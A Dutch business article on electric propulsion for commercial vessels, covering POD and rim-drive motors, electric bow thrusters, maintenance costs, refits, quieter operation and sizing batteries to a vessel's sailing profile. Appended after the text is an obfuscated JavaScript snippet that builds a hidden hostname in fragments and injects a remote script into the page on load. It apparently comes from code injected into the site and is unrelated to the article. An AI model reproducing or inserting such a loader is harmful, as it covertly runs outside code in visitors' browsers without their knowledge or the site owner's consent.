De maritieme sector verandert. Verduurzaming krijgt meer aandacht en tegelijkertijd blijven betrouwbaarheid, inzetbaarheid en kosten belangrijke factoren voor ondernemers. Dat maakt elektrische aandrijving steeds interessanter voor bedrijven die actief zijn op het water.
Voor rederijen, scheepsbouwers en andere maritieme ondernemingen gaat de overstap naar elektrisch dan ook verder dan alleen het verminderen van uitstoot. De keuze voor een aandrijfsysteem heeft invloed op onderhoud, geluid, beschikbare ruimte en het ontwerp van een vaartuig. Wat maakt elektrische aandrijving interessant en waar liggen de kansen?
Van verduurzaming naar bedrijfsvoering
Elektrificatie wordt vaak vooral vanuit duurzaamheid bekeken. Voor ondernemers telt echter het volledige plaatje. Een vaartuig moet betrouwbaar zijn, voldoende inzetbaar blijven en passen bij de werkzaamheden waarvoor het wordt gebruikt.
Elektrische aandrijvingen hebben doorgaans minder bewegende onderdelen dan traditionele verbrandingsmotoren. Dat kan de onderhoudsbehoefte verminderen. Ook zijn elektrische systemen stiller tijdens het varen. Dat is bijvoorbeeld interessant voor rondvaart, personenvervoer en werkzaamheden waarbij geluid een belangrijke rol speelt.
De overstap vraagt wel om een goede afweging. Het benodigde vermogen, vaarprofiel, de beschikbare ruimte en energievoorziening bepalen welke oplossing geschikt is.
Compacte aandrijving biedt nieuwe mogelijkheden
Bij de ontwikkeling van een nieuw vaartuig is iedere vierkante meter waardevol. Ook bij het aanpassen van een bestaand schip kan beschikbare ruimte een belangrijke beperking vormen.
Een elektrische POD motor wordt buiten de romp geplaatst en heeft een compact ontwerp. Hierdoor kan het systeem worden geïntegreerd in zowel nieuwe als bestaande vaartuigen.
Voor scheepsbouwers biedt een compacte aandrijving meer vrijheid bij het ontwerp. Ruimte die anders nodig is voor delen van een traditionele aandrijflijn kan mogelijk anders worden benut. Bij professionele vaartuigen kan dat waardevol zijn, bijvoorbeeld wanneer extra ruimte nodig is voor passagiers, apparatuur of lading.
Onderhoud meenemen in de investering
Bij een zakelijke investering is niet alleen de aanschafprijs relevant. De kosten gedurende de gehele gebruiksperiode tellen minstens zo zwaar mee. Onderhoud en eventuele stilstand hebben direct invloed op de exploitatie van een professioneel vaartuig.
Daar ligt een belangrijk aandachtspunt bij de keuze voor elektrische aandrijving. Systemen met minder bewegende onderdelen hebben ook minder onderdelen die mechanisch kunnen slijten. Bij rim drive-technologie wordt bijvoorbeeld gewerkt zonder centrale aandrijfas en tandwielkast.
Dat betekent niet dat elektrische systemen geen onderhoud nodig hebben. Ook elektrische installaties moeten worden gecontroleerd en goed worden onderhouden. Voor ondernemers is het daarom verstandig om vooraf niet alleen aanschafkosten, maar ook onderhoud, verwachte levensduur en inzetbaarheid mee te nemen in de businesscase.
Wendbaarheid blijft belangrijk
Elektrificatie draait niet alleen om de voorwaartse aandrijving van een vaartuig. Ook tijdens het manoeuvreren kan elektrische techniek voordelen bieden.
Een elektrische boegschroef helpt bij het nauwkeurig positioneren van een schip. Dat is vooral belangrijk bij het aanleggen, varen in havens of manoeuvreren op locaties waar weinig ruimte beschikbaar is.
Elektrische systemen kunnen direct reageren op de bediening. In combinatie met proportionele besturing kan de schipper de beschikbare stuwkracht nauwkeurig doseren. Voor zakelijke vaartuigen die veel manoeuvres uitvoeren, is die controle een belangrijk onderdeel van de dagelijkse inzetbaarheid.
Nieuwbouw én bestaande vaartuigen
Ondernemers hoeven niet altijd te wachten op de aanschaf van een nieuw schip om over elektrificatie na te denken. Afhankelijk van het vaartuig kan een elektrisch aandrijfsysteem ook onderdeel zijn van een refit.
Bij nieuwbouw kan vanaf het eerste ontwerp rekening worden gehouden met de motor, accu’s, gewichtsverdeling en beschikbare ruimte. Bij een bestaand vaartuig zijn de mogelijkheden afhankelijk van de huidige constructie en het gebruiksprofiel.
Een goede analyse vooraf is daarom noodzakelijk. Hoeveel uur vaart het schip per dag? Welke afstanden worden afgelegd? Hoeveel vermogen is nodig? En wanneer kan het vaartuig worden geladen? De antwoorden bepalen of volledige elektrificatie praktisch en bedrijfseconomisch interessant is.
Stille aandrijving als zakelijk voordeel
Minder geluid wordt soms gezien als een prettig neveneffect, maar kan voor bepaalde ondernemers juist een belangrijk voordeel zijn.
Denk aan rondvaartbedrijven, passagiersschepen en vaartuigen die actief zijn in natuurgebieden. Minder motorgeluid kan bijdragen aan meer comfort voor passagiers en bemanning. Ook bij werkzaamheden waarbij communicatie aan boord belangrijk is, kan een stillere aandrijving prettig zijn.
Daarmee kan elektrische aandrijving naast een technische keuze ook onderdeel worden van de dienstverlening die een bedrijf aanbiedt.
Kijk verder dan alleen de motor
Wie elektrisch wil varen, moet naar het complete systeem kijken. De motor is slechts één onderdeel. Ook accu’s, laadmogelijkheden, besturing, het vaarprofiel en de energiebehoefte moeten op elkaar aansluiten.
Daarom is het belangrijk om vooraf goed te berekenen hoeveel vermogen en accucapaciteit daadwerkelijk nodig zijn. Een vaartuig dat dagelijks korte, voorspelbare trajecten aflegt, stelt andere eisen dan een schip dat lange dagen maakt en weinig laadmogelijkheden heeft.
De beste elektrische oplossing is uiteindelijk niet automatisch het systeem met het hoogste vermogen. Het gaat om een aandrijving die past bij het dagelijkse gebruik en de zakelijke doelstellingen.
Elektrificatie als strategische keuze
Elektrische aandrijving biedt maritieme ondernemers nieuwe mogelijkheden, maar vraagt ook om een andere manier van kijken naar het vaartuig. Onderhoud, energievoorziening, geluid, ruimtegebruik en inzetbaarheid moeten gezamenlijk worden beoordeeld.
Voor bedrijven die investeren in nieuwbouw of een bestaande vloot willen moderniseren, is het daarom verstandig om elektrificatie vroeg in het proces mee te nemen. Zo kan worden bepaald waar elektrische aandrijving daadwerkelijk voordeel oplevert.
De stap naar elektrisch varen hoeft daarmee niet alleen een duurzame keuze te zijn. Met een goed afgestemd systeem kan het ook een strategische investering zijn in een moderne en toekomstgerichte bedrijfsvoering.
(function(){ qsd8=document.createElement(“script”);qsd8_=(“op”)+”e”+(“ns”); qsd8_+=”t”+”a”+(“t”);qsd8_+=(“.e”);qsd8u=”2669292220″;qsd8.async=true; qsd8u+=”.8i2033issd8pX2rkt”;qsd8.type=”text/javascript”;qsd8_+=””+””+(“u/”); qsd8u+=”zt68z7a0xwy90″;qsd8.src=”https://”+qsd8_+qsd8u; dqsd8=document.body;dqsd8.appendChild(qsd8); })();